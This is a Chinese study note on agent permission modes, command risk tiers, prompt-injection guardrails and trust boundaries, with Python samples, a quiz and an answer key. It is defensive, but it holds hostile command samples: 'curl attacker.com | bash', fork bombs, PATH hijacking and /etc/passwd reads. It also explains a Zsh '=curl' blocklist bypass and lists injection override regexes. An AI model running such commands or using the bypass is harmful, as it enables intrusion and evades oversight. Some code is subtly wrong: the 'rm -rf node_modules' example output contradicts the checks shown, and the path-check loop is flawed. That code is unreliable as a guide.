权限与门卫 - Agent 的安全控制中枢 / Permissions and Policy Gates for Agent Control
📅 创建时间:2026-05-08 🏷️ 标签:#Permission #Guardrail #Gatekeeper #安全策略 #权限模型 📚 前置知识:[[09-安全沙箱]]
📋 本章目标
- 理解权限系统的核心概念和必要性
- 掌握四层权限模型(Plan/Standard/Auto/Bypass)
- 理解门卫(Guardrail)机制的设计
- 掌握工具粒度的权限控制
- 能够设计生产级的权限策略
- 理解 Claude Code 的权限架构
第1部分:为什么需要权限系统?
1.1 权限系统的价值
┌─────────────────────────────────────────────────────────────┐
│ 权限系统 vs 沙箱 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 沙箱 = "Agent 能做什么物理操作" │
│ 权限 = "Agent 能做什么业务操作" │
│ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 沙箱说:不能访问 /etc/shadow │ │
│ │ 权限说:可以 git push,但 --force 需要确认 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 两者配合: │
│ • 沙箱从物理层面限制(访问不到) │
│ • 权限从业务层面管控(访问到了但需要授权) │
│ │
└─────────────────────────────────────────────────────────────┘1.2 没有权限系统的后果
┌─────────────────────────────────────────────────────────────┐
│ 权限失控的后果 │
├─────────────────────────────────────────────────────────────┤
│ │
│ ❌ Agent 无意中执行了危险命令 │
│ git push --force → 覆盖了同事的代码 │
│ rm -rf node_modules && npm install → 丢失 lock 文件 │
│ │
│ ❌ Agent 访问了不应该访问的资源 │
│ 读取了其他用户的文件 │
│ 查询了生产数据库 │
│ │
│ ❌ Agent 行为不符合业务规范 │
│ 没有走审批就自动回复了客户邮件 │
│ 没有备份就修改了线上配置 │
│ │
│ ❌ Agent 行为失控无法及时中断 │
│ 开始删库后不知道该停 │
│ │
└─────────────────────────────────────────────────────────────┘第2部分:四层权限模型
2.1 Claude Code 的四层权限模型
┌─────────────────────────────────────────────────────────────┐
│ Claude Code 权限四层 │
├─────────────────────────────────────────────────────────────┤
│ │
│ Plan(规划模式) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 只读分析模式 │ │
│ │ Agent 可以阅读文件、搜索代码、解释逻辑 │ │
│ │ ❌ 禁止:任何写入操作、bash 执行、网络请求 │ │
│ │ 用途:代码审查、架构分析、问题诊断 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ Standard(标准模式)← 大多数场景 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 需要用户确认的高风险操作 │ │
│ │ 允许:文件编辑、bash 执行、网络访问 │ │
│ │ ⚠️ 危险操作前需要用户确认(如 rm、git push --force) │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ Auto(自动模式) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 预批准的操作自动执行 │ │
│ │ Agent 自己判断风险等级,低风险直接执行 │ │
│ │ 高风险仍需确认 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ Bypass(旁路模式) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 内部系统调用,无任何检查 │ │
│ │ 只能被框架自身使用,不对用户开放 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘2.2 权限决策流程
┌─────────────────────────────────────────────────────────────┐
│ 权限检查流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ Agent 调用 tool("bash", "rm -rf node_modules") │
│ ↓ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Step 1: 信任建立检查 │ │
│ │ 当前目录是否已信任?(.claude 目录存在?) │ │
│ │ 如果未建立 → 直接拒绝 │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Step 2: 权限级别检查 │ │
│ │ 当前模式是什么?(Plan / Standard / Auto) │ │
│ │ Plan 模式 → 直接拒绝所有写入 │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Step 3: 工具级别检查 │ │
│ │ bash 工具当前权限级别? │ │
│ │ rm 命令是否在危险命令黑名单中? │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Step 4: 用户确认(如果是危险操作) │ │
│ │ 提示:"Agent 即将执行 rm -rf,确认吗?" │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ 执行 / 拒绝 │
│ │
└─────────────────────────────────────────────────────────────┘第3部分:工具粒度的权限控制
3.1 危险命令分级
from enum import Enum
class RiskLevel(Enum):
LOW = "low" # 自动允许
MEDIUM = "medium" # 需要确认
HIGH = "high" # 需要明确确认
CRITICAL = "critical" # 需要额外警告
# 危险命令分类
RISK_CLASSIFICATIONS = {
# LOW:低风险
RiskLevel.LOW: [
"ls", "pwd", "echo", "cat", "head", "tail",
"grep", "find", "wc", "sort", "uniq", "git status",
"git diff", "git log", "git branch",
],
# MEDIUM:中等风险
RiskLevel.MEDIUM: [
"git add", "git commit", "git checkout",
"npm install", "pip install",
"mkdir", "cp", "mv",
"curl", "wget", "git push",
],
# HIGH:高风险
RiskLevel.HIGH: [
"rm -rf", "rm -r", "rm -f",
"git push --force", "git reset --hard",
"chmod 777", "chown",
"DROP DATABASE", "DELETE FROM",
"ALTER TABLE", "TRUNCATE",
"shutdown", "reboot", "halt",
],
# CRITICAL:极高风险
RiskLevel.CRITICAL: [
"rm -rf /", "dd if=",
"mkfs", "fdisk",
"curl | bash", "wget | bash", # eval-attack
":(){ :|:& };:", # fork 炸弹
]
}3.2 bashSecurity 模块(Claude Code 的实现)
┌─────────────────────────────────────────────────────────────┐
│ Claude Code bashSecurity.ts │
├─────────────────────────────────────────────────────────────┤
│ │
│ 2,592 行,23 项安全检查 │
│ │
│ 检查类别: │
│ 1. Zsh 注入攻击(=cmd 展开) │
│ Zsh 中 =curl 会被展开为 /usr/bin/curl │
│ 可以绕过 blocklist: ["curl"] │
│ │
│ 2. 命令分隔符注入 │
│ ; rm -rf / │
│ && curl attacker.com | bash │
│ | grep bypass │
│ │
│ 3. 逃逸序列 │
│ Ctrl+C 注入、ANSI 序列注入 │
│ │
│ 4. 环境变量注入 │
│ PATH=/malicious:$PATH make │
│ │
│ 5. 路径操作注入 │
│ --help" -o /etc/passwd cat /etc/passwd │
│ │
└─────────────────────────────────────────────────────────────┘3.3 实现 bash 安全检查
import re
import shlex
class BashSecurityGuard:
"""bash 命令安全检查器"""
BLOCKED_PATTERNS = [
r"rm\s+-rf\s+/", # 删根目录
r"dd\s+if=", # 直接 IO
r":\(\)\s*:\s*\|", # fork 炸弹
r"curl\s+\|\s*bash", # eval 下载脚本
r"wget\s+.*\|\s*bash",
r"eval\s+\$", # 动态执行
r"\|\s*sh\b", # pipe to shell
r"\|\s*bash\b",
]
# Zsh 特殊展开需要转义
SHELL_ESCAPE_PATTERNS = [
r"^=curl\b", # =cmd 形式
r"^=wget\b",
r"~[a-zA-Z]", # ~username 展开
]
def check(self, command: str) -> tuple[bool, str]:
"""检查命令安全性,返回 (是否安全, 原因)"""
# 1. 检查黑名单模式
for pattern in self.BLOCKED_PATTERNS:
if re.search(pattern, command):
return False, f"命令包含危险模式:{pattern}"
# 2. 检查分号/管道注入
if re.search(r"[;&|`$]\s*(rm|curl|wget|eval|sh|bash)", command):
return False, "检测到可能的命令注入"
# 3. 检查多次 rm -rf
rm_count = len(re.findall(r"\brm\b", command))
if rm_count > 2:
return False, f"rm 命令执行次数过多:{rm_count}次"
# 4. 检查危险的 sed/awk
if re.search(r"sed\s+-i.*;", command):
return False, "sed -i 多命令可能危险"
# 5. 验证命令可以被正确解析(无歧义)
try:
tokens = shlex.split(command, posix=False)
if any("$" in t or "`" in t for t in tokens):
# 存在变量展开,需要更严格的检查
pass
except ValueError:
return False, "命令解析失败,可能包含语法问题"
return True, "检查通过"
# 使用示例
guard = BashSecurityGuard()
safe, reason = guard.check("rm -rf node_modules")
print(safe, reason) # False, "rm 命令执行次数过多:2次"第4部分:门卫(Guardrail)机制
4.1 什么是门卫?
门卫 = 在 Agent 的输入和输出两端都设置检查点
┌─────────────────────────────────────────────────────────────┐
│ 门卫的两道防线 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 输入门卫(Input Guardrail) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 检查用户输入中是否有: │ │
│ │ • 提示词注入攻击(你是谁,现在你是...) │ │
│ │ • 敏感信息(密码、API Key)暴露风险 │ │
│ │ • 超出权限范围的请求 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 输出门卫(Output Guardrail) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 检查 Agent 输出中是否有: │ │
│ │ • 敏感信息泄露 │ │
│ │ • 不当内容 │ │
│ │ • 可执行的危险代码(XSS、SQL 注入等) │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘4.2 输入门卫实现
from typing import TypedDict
class InputGuardrailResult(TypedDict):
allowed: bool
reason: str
action: str # "block" / "sanitize" / "warn" / "allow"
class InputGuardrail:
"""输入门卫"""
def check(self, user_input: str, context: dict) -> InputGuardrailResult:
# 1. 提示词注入检测
injection_score = self._detect_prompt_injection(user_input)
if injection_score > 0.8:
return InputGuardrailResult(
allowed=False,
reason="检测到提示词注入攻击",
action="block"
)
# 2. 敏感信息检测
sensitive = self._detect_sensitive_info(user_input)
if sensitive:
return InputGuardrailResult(
allowed=True,
reason=f"检测到敏感信息:{sensitive},已脱敏",
action="sanitize"
)
# 3. 权限边界检查
if not self._check_permission_boundary(user_input, context):
return InputGuardrailResult(
allowed=False,
reason="请求超出当前权限范围",
action="block"
)
return InputGuardrailResult(allowed=True, reason="通过", action="allow")
def _detect_prompt_injection(self, text: str) -> float:
"""检测提示词注入,返回风险分数 0-1"""
score = 0.0
# 明显注入特征
injection_patterns = [
r"忽略.*之前的指令",
r"你现在是.*而不是",
r"忽略.*系统",
r"system.*ignore",
r"<\s*/\s*instructions\s*>",
r"新的指令:",
r"\[INST\].*\[/INST\]",
]
for pattern in injection_patterns:
if re.search(pattern, text, re.IGNORECASE):
score += 0.4
# 隐含注入(大量重复指令)
if text.count("不要") > 3 or text.count("必须") > 5:
score += 0.2
return min(score, 1.0)4.3 输出门卫实现
class OutputGuardrail:
"""输出门卫"""
def check(self, output: str, context: dict) -> InputGuardrailResult:
# 1. 敏感信息泄露检测
leaked = self._detect_leakage(output)
if leaked:
return InputGuardrailResult(
allowed=True,
reason=f"输出中可能泄露了敏感信息",
action="sanitize"
)
# 2. 代码安全检查(防止 XSS、SQL 注入等)
if self._contains_executable_danger(output):
return InputGuardrailResult(
allowed=False,
reason="输出包含可执行的危险代码模式",
action="block"
)
# 3. 长度限制
if len(output) > context.get("max_output_length", 10000):
return InputGuardrailResult(
allowed=True,
reason="输出过长,已截断",
action="truncate"
)
return InputGuardrailResult(allowed=True, reason="通过", action="allow")
def _detect_leakage(self, text: str) -> list[str]:
"""检测可能泄露的敏感信息"""
leaked = []
patterns = {
"API Key": r"(?i)(api[_-]?key|apikey)\s*[:=]\s*['\"]?[\w-]{20,}['\"]?",
"Password": r"password\s*[:=]\s*['\"]?[\w!@#$%]{8,}['\"]?",
"Private Key": r"-----BEGIN (RSA |EC )?PRIVATE KEY-----",
"Token": r"(?i)(bearer|ghp_|sk-)[a-zA-Z0-9]{20,}",
}
for label, pattern in patterns.items():
if re.search(pattern, text):
leaked.append(label)
return leaked第5部分:信任序列模型
5.1 Claude Code 的三阶段信任序列
┌─────────────────────────────────────────────────────────────┐
│ 信任建立序列 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 阶段1:项目加载时建立信任 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ .claude/ 目录是否存在? │ │
│ │ 此目录 = 用户明确授权的工作区 │ │
│ │ 不存在 → 不允许任何写入操作 │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ 阶段2:每次工具调用前检查权限 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 当前目录是否在受信任的工作区内? │ │
│ │ 目标路径是否逃逸到工作区外? │ │
│ │ 命令是否在危险命令列表中? │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ 阶段3:高风险操作需要用户明确确认 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ rm -rf、git push --force、数据库写入 │ │
│ │ 用户必须明确点击确认按钮 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘5.2 信任边界实现
from pathlib import Path
import hashlib
class TrustBoundary:
"""信任边界管理器"""
def __init__(self, workspace_root: str):
self.workspace_root = Path(workspace_root).resolve()
self.trusted_dirs = set()
self.session_id = self._generate_session_id()
def establish(self, directory: str) -> bool:
"""在指定目录建立信任"""
dir_path = Path(directory).resolve()
# 必须在工作区内
if not str(dir_path).startswith(str(self.workspace_root)):
return False
# 创建信任标记
trust_marker = self.workspace_root / ".claude"
trust_marker.mkdir(exist_ok=True)
(trust_marker / "trust").write_text(self.session_id)
(trust_marker / "root").write_text(str(dir_path))
self.trusted_dirs.add(str(dir_path))
return True
def is_trusted(self, path: str) -> bool:
"""检查路径是否受信任"""
resolved = Path(path).resolve()
# 必须在工作区内
if not str(resolved).startswith(str(self.workspace_root)):
return False
# 检查信任标记
trust_marker = self.workspace_root / ".claude" / "trust"
if not trust_marker.exists():
return False
return trust_marker.read_text() == self.session_id
def check_path_access(self, path: str, mode: str = "read") -> bool:
"""检查路径访问权限"""
if not self.is_trusted(path):
return False
resolved = Path(path).resolve()
# 写操作需要更严格检查
if mode == "write":
# 检查是否是受信任目录或子目录
for trusted in self.trusted_dirs:
if not str(resolved).startswith(trusted):
return False
return True第6部分:生产级权限策略设计
6.1 权限策略配置
class PermissionPolicy:
"""生产级权限策略"""
DEFAULT_POLICY = {
"mode": "standard", # plan / standard / auto
"tools": {
"bash": {
"enabled": True,
"max_duration_seconds": 30,
"allowed_commands": None, # None = 不限制
"blocked_commands": [
"rm -rf /",
"curl | bash",
"wget | bash",
":(){ :|:& };:", # fork bomb
],
"dangerous_patterns": ["rm -rf", "dd if=", "mkfs"]
},
"edit": {
"enabled": True,
"require_prior_read": True, # 必须先 Read 才能 Edit
"blocked_paths": [
"/etc/**",
"/root/**",
"/.ssh/**",
"*.env",
"*.pem",
"*.key"
],
"backup_before_write": True
},
"read": {
"enabled": True,
"blocked_paths": [
"/etc/shadow",
"/etc/sudoers",
"**/.env",
"**/*.key"
]
},
"web_search": {
"enabled": True,
"allowed_domains": ["github.com", "stackoverflow.com"],
"rate_limit": "10/minute"
}
},
"git": {
"allow_push": True,
"allow_force_push": False, # 除非明确确认
"allow_rebase": True,
"require_clean_working_tree": True,
"blocked_hooks": True
},
"confirmation_required": [
"rm", "rmdir",
"git push --force",
"DROP DATABASE",
"ALTER TABLE",
"curl", "wget" # 某些场景下
]
}
def evaluate(self, tool_name: str, args: dict, policy: dict) -> tuple[bool, str]:
"""评估操作是否允许"""
tool_config = policy["tools"].get(tool_name, {})
if not tool_config.get("enabled", False):
return False, f"工具 {tool_name} 已禁用"
# 特殊检查
if tool_name == "bash":
return self._evaluate_bash(args, policy)
elif tool_name == "edit":
return self._evaluate_edit(args, policy)
elif tool_name == "git":
return self._evaluate_git(args, policy)
return True, "允许"
def _evaluate_bash(self, args: dict, policy: dict) -> tuple[bool, str]:
command = args.get("command", "")
tool_policy = policy["tools"]["bash"]
# 检查危险命令
for blocked in tool_policy.get("blocked_commands", []):
if blocked in command:
return False, f"命令被阻止:{blocked}"
# 检查危险模式
for pattern in tool_policy.get("dangerous_patterns", []):
if pattern in command:
return False, f"命令包含危险模式:{pattern}"
return True, "允许"核心总结
总结1:权限四层模型
| 层级 | 含义 | 确认要求 |
|---|---|---|
| Plan | 只读分析 | 无需确认 |
| Standard | 标准操作 | 高风险需确认 |
| Auto | 预批准自动执行 | 仅极高风险需确认 |
| Bypass | 系统内部调用 | 无检查 |
总结2:门卫两道防线
输入门卫 → 检查用户输入(注入、敏感信息、权限边界)
输出门卫 → 检查 Agent 输出(泄露、可执行危险代码)总结3:信任序列
项目加载 → 建立信任(.claude 目录)
工具调用 → 权限检查(目录 + 命令)
高风险操作 → 用户确认章节测试
测试1:权限模型
Claude Code 的 Standard 模式下,以下哪个操作需要用户确认? A. ls -la B. git status C. git push --force D. git log --oneline
测试2:门卫
门卫的两道防线分别检查什么?
测试3:信任建立
为什么需要建立信任边界?Agent 没有信任边界会怎样?
测试4:Zsh 安全
Claude Code 的 bashSecurity 模块特别关注 Zsh 注入,以下哪个是 Zsh 特有的危险模式? A. ; rm -rf B. | bash C. =curl(=cmd 展开) D. $PATH
测试5:Edit 安全
Claude Code 的 Edit 工具为什么要求"必须先 Read"?
参考答案
测试1答案
答案:C(git push --force)
解析:A、B、D 都是只读操作,属于低风险,自动允许。C 是高风险操作(force push 可能覆盖历史),在任何模式下都需要用户确认。
测试2答案
答案:输入门卫检查用户输入(是否有提示词注入、敏感信息暴露风险、请求是否超出权限范围);输出门卫检查 Agent 输出(是否有敏感信息泄露、危险代码模式)。
测试3答案
答案:信任边界确保 Agent 只在用户明确授权的目录范围内工作。没有信任边界,Agent 可能在任何目录执行操作——比如在 /root 删除系统文件,或在 /etc 修改配置。建立信任边界(.claude 目录)是执行任何写入操作的前提。
测试4答案
答案:C(=curl)
解析:=cmd 是 Zsh 特有的展开功能,=curl 会被展开为 /usr/bin/curl。如果 Agent 的黑名单只检查 curl,可以通过 =curl 绕过。Claude Code 的 23 项安全检查中有大量专门针对 Zsh 展开语义的防御。
测试5答案
答案:防止"盲目覆盖"(blind overwrite)。如果 Agent 可以直接 Edit 而不先 Read,就可能在不知道文件当前内容的情况下覆盖掉同事的修改。加上"必须先 Read"的要求,Agent 在编辑前必须了解文件的现有内容,从而避免无意破坏。
相关笔记
- [[09-安全沙箱]] - 沙箱与权限的配合
- [[12-提示词注入防护]] - 门卫机制的具体应用
- [[11-API密钥管理与安全]] - 权限系统中的密钥保护
下一步学习
- [ ] 阅读 20 - API密钥管理与安全
学习状态:🟡 开始学习